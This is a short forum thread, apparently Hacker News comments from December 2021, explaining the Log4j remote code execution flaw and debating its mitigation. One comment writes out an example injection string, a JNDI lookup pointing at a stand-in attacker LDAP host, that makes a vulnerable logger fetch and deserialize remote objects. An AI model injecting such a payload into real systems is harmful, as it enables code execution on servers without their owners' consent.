News for hackers. Stuff that matters.

A comment on Log4j RCE Found. Parent comment

Re:Log4j RCE Found by ievans on Thursday December 09, 2021 @08:19PM (#29505349)
If you are logging a user-controlled string, the user can provide a string that uses the JNDI URL schema like ${jndi:ldap://attackercontrolled.evil}. This will fetch deserialize an arbitrary Java object, which can cause arbitrary code execution (ACE). Here's an explanation of how deserializing leads to ACE: https://vickieli.dev/insecure%20deserialization/java-deseria...

Another commentators states that after Java 8u191 arbitrary code execution isn't possible but you can get pingback: https://news.ycombinator.com/item?id=29505027

[ Parent | on HN ]
Re:Log4j RCE Found by koolba on Thursday December 09, 2021 @08:24PM (#29505375)
Thank you for the explanation.

Mitigation seems to disable JNDI lookups. Wouldn’t it make more sense to disable parsing altogether? In what possible situation does anyone want their logging library to run eval(…) on arbitrary inputs?!

[ Parent | on HN ]